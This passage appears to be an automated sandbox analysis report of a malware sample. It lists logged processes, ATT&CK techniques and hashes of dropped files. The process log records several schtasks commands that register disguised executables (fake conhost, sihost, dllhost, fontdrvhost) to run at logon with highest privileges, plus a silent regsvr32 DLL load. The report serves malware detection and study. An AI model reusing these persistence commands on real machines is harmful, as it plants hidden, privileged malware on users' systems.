                                                                                                                                                                                                                                                                                                                                                            schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Windows\System32\actxprxy\conhost.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                            PID:8264
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                            schtasks.exe /create /tn "Calculator" /sc ONLOGON /tr "'C:\PerfLogs\Calculator.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                            PID:8288
                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe
                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe /update /peruser /childprocess
                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                              PID:6252
                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.196.0921.0007\FileSyncConfig.exe
                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.196.0921.0007\FileSyncConfig.exe"
                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:1660
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\conhost.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                PID:9120
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\compattelrunner.exe
                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW
                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:5840
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                  schtasks.exe /create /tn "Viloxaehede" /sc ONLOGON /tr "'C:\Windows\SchCache\Viloxaehede.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                  PID:1312
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                  schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\ProgramData\Package Cache\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}\fontdrvhost.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                  PID:7004
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                  schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Windows\System32\mprmsg\dllhost.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                  PID:4596
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                  schtasks.exe /create /tn "sihost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\sihost.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                  • Checks SCSI registry key(s)
                                                                                                                                                                                                                                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                  • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                                                                                                                                  PID:4440
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                  schtasks.exe /create /tn "build" /sc ONLOGON /tr "'C:\odt\build.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                  PID:8176
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:7492
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:6016
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                      schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Windows\System32\kbdhebl3\fontdrvhost.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                      • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                      PID:5092
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:6452
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:7744
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:7708
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\regsvr32.exe
                                                                                                                                                                                                                                                                                                                                                                            regsvr32 /s C:\Users\Admin\AppData\Local\Temp\369C.dll
                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:6484
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:8976
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:4496
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:1796
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:6900
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\compattelrunner.exe
                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW
                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:5176
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:6872
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:8144
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:1628
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:7404
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                  PID:3448
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:6396
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                      PID:1132
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:2416
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:9084
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:5280
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:6528
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                PID:6052
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5592
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:7128
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:8104
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:8544
                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4976
                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:3512
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1976
                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2464

                                                                                                                                                                                                                                                                                                                                                                                                                              Network

                                                                                                                                                                                                                                                                                                                                                                                                                              MITRE ATT&CK Matrix ATT&CK v6

                                                                                                                                                                                                                                                                                                                                                                                                                              Execution

                                                                                                                                                                                                                                                                                                                                                                                                                              Scheduled Task

                                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                                              T1053

                                                                                                                                                                                                                                                                                                                                                                                                                              Persistence

                                                                                                                                                                                                                                                                                                                                                                                                                              Modify Existing Service

                                                                                                                                                                                                                                                                                                                                                                                                                              2
                                                                                                                                                                                                                                                                                                                                                                                                                              T1031

                                                                                                                                                                                                                                                                                                                                                                                                                              Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                                              T1060

                                                                                                                                                                                                                                                                                                                                                                                                                              Scheduled Task

                                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                                              T1053

                                                                                                                                                                                                                                                                                                                                                                                                                              BITS Jobs

                                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                                              T1197

                                                                                                                                                                                                                                                                                                                                                                                                                              Privilege Escalation

                                                                                                                                                                                                                                                                                                                                                                                                                              Scheduled Task

                                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                                              T1053

                                                                                                                                                                                                                                                                                                                                                                                                                              Defense Evasion

                                                                                                                                                                                                                                                                                                                                                                                                                              Modify Registry

                                                                                                                                                                                                                                                                                                                                                                                                                              4
                                                                                                                                                                                                                                                                                                                                                                                                                              T1112

                                                                                                                                                                                                                                                                                                                                                                                                                              Disabling Security Tools

                                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                                              T1089

                                                                                                                                                                                                                                                                                                                                                                                                                              Virtualization/Sandbox Evasion

                                                                                                                                                                                                                                                                                                                                                                                                                              2
                                                                                                                                                                                                                                                                                                                                                                                                                              T1497

                                                                                                                                                                                                                                                                                                                                                                                                                              File Permissions Modification

                                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                                              T1222

                                                                                                                                                                                                                                                                                                                                                                                                                              BITS Jobs

                                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                                              T1197

                                                                                                                                                                                                                                                                                                                                                                                                                              Install Root Certificate

                                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                                              T1130

                                                                                                                                                                                                                                                                                                                                                                                                                              Credential Access

                                                                                                                                                                                                                                                                                                                                                                                                                              Credentials in Files

                                                                                                                                                                                                                                                                                                                                                                                                                              3
                                                                                                                                                                                                                                                                                                                                                                                                                              T1081

                                                                                                                                                                                                                                                                                                                                                                                                                              Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                              Query Registry

                                                                                                                                                                                                                                                                                                                                                                                                                              7
                                                                                                                                                                                                                                                                                                                                                                                                                              T1012

                                                                                                                                                                                                                                                                                                                                                                                                                              Virtualization/Sandbox Evasion

                                                                                                                                                                                                                                                                                                                                                                                                                              2
                                                                                                                                                                                                                                                                                                                                                                                                                              T1497

                                                                                                                                                                                                                                                                                                                                                                                                                              System Information Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                              6
                                                                                                                                                                                                                                                                                                                                                                                                                              T1082

                                                                                                                                                                                                                                                                                                                                                                                                                              Peripheral Device Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                                              T1120

                                                                                                                                                                                                                                                                                                                                                                                                                              Collection

                                                                                                                                                                                                                                                                                                                                                                                                                              Data from Local System

                                                                                                                                                                                                                                                                                                                                                                                                                              3
                                                                                                                                                                                                                                                                                                                                                                                                                              T1005

                                                                                                                                                                                                                                                                                                                                                                                                                              Command and Control

                                                                                                                                                                                                                                                                                                                                                                                                                              Web Service

                                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                                              T1102

                                                                                                                                                                                                                                                                                                                                                                                                                              Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                                                                              Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                                                                              Downloads

                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                17f6f3213a5a5d2fb1ef8793081c5ddd

                                                                                                                                                                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                4601bd223fd7c52b12bc186ec9a0eb94167aaebb

                                                                                                                                                                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                6987f229daf0e954b67d5dbf779150b3b5c8dc3e69f66fe7c41f875be7725994

                                                                                                                                                                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                b640e80f1aec1302ad95f88b3fa10d16df39f9ecf498eadcd602bbd945550c8843393ef6176a2fc3120cf3db487edd400f3a633ef944faae5abcef67637d7276

                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                17f6f3213a5a5d2fb1ef8793081c5ddd

                                                                                                                                                                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                4601bd223fd7c52b12bc186ec9a0eb94167aaebb

                                                                                                                                                                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                6987f229daf0e954b67d5dbf779150b3b5c8dc3e69f66fe7c41f875be7725994

                                                                                                                                                                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                b640e80f1aec1302ad95f88b3fa10d16df39f9ecf498eadcd602bbd945550c8843393ef6176a2fc3120cf3db487edd400f3a633ef944faae5abcef67637d7276

                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Program Files (x86)\Company\NewProduct\cutm3.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                07e143efd03815a3b8c8b90e7e5776f0

                                                                                                                                                                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                077314efef70cef8f43eeba7f1b8ba0e5e5dedc9

                                                                                                                                                                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                32967e652530e7ac72841886cb07badcced11e1e725e2e85e1ee8046c4fe2149

                                                                                                                                                                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                79ed77bbcac3f84d846b4b02e1a50a197d857d4b1d6abd84a45393bb3c262768ab6f3952733a1ae6010978ab598842d9b7ac4be5a5b23c374a3d4796c87a38d6

                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Program Files (x86)\Company\NewProduct\cutm3.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                07e143efd03815a3b8c8b90e7e5776f0

                                                                                                                                                                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                077314efef70cef8f43eeba7f1b8ba0e5e5dedc9

                                                                                                                                                                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                32967e652530e7ac72841886cb07badcced11e1e725e2e85e1ee8046c4fe2149

                                                                                                                                                                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                79ed77bbcac3f84d846b4b02e1a50a197d857d4b1d6abd84a45393bb3c262768ab6f3952733a1ae6010978ab598842d9b7ac4be5a5b23c374a3d4796c87a38d6

                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Program Files (x86)\Company\NewProduct\inst3.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                a41adbdafc72a86a7a74c494659954b4

